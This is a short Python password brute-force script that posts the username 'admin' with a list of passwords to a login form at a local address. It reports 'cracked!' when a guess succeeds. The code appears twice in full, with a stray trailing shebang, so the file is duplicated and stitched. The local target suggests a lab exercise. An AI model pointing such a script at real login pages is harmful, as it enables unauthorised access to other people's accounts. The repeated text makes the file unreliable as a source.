<filename>good/httpbrute.py
#!/usr/bin/env python3

import requests

URL = "http://127.0.1.1:5000/user/login"

username = "admin"

passwords = [
    "1",
    "12",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
]

for password in passwords:
    response = requests.post(URL, data={"username": username, "password": password})
    if "HOME" in response.text:
        print("cracked!", username, password)
        break

<filename>good/httpbrute.py
#!/usr/bin/env python3

import requests

URL = "http://127.0.1.1:5000/user/login"

username = "admin"

passwords = [
    "1",
    "12",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
    "<PASSWORD>",
]

for password in passwords:
    response = requests.post(URL, data={"username": username, "password": password})
    if "HOME" in response.text:
        print("cracked!", username, password)
        break

#!/usr/bin/env python3